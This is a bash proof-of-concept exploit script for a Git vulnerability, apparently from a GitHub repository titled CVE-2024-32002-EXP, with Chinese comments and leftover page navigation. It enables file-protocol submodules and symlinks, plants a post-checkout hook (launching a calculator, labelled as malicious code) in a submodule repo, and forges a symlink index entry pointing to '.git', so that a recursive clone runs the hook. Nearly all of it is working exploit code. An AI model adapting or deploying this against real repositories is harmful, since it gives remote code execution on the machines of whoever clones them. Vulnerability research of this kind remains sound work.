#!/bin/bash
# 设置 Git 配置选项
git config --global protocol.file.allow always
git config --global core.symlinks true
# 避免警告消息(设置默认分叉为main)
git config --global init.defaultBranch main
# 定义 tell-tale 路径
tell_tale_path="$PWD/tell.tale"
# 初始化 hook 仓库
git init hook
cd hook
mkdir -p y/hooks
# 将恶意代码写入 hook,适配windows环境与mac环境
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe
open -a Calculator.app
EOF
# 使 hook 可执行:重要
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# 定义 hook 仓库路径
hook_repo_path="$(pwd)/hook"
# 初始化 captain 仓库
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# 创建符号链接
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
# 本地测试,传到github无需使用此功能
git clone --recursive captain hooked
-
Notifications
You must be signed in to change notification settings - Fork 0
10cks/CVE-2024-32002-EXP
Folders and files
Name | Name | Last commit message | Last commit date | |
---|---|---|---|---|
Repository files navigation
About
No description, website, or topics provided.
Resources
Stars
Watchers
Forks
Releases
No releases published
Packages 0
No packages published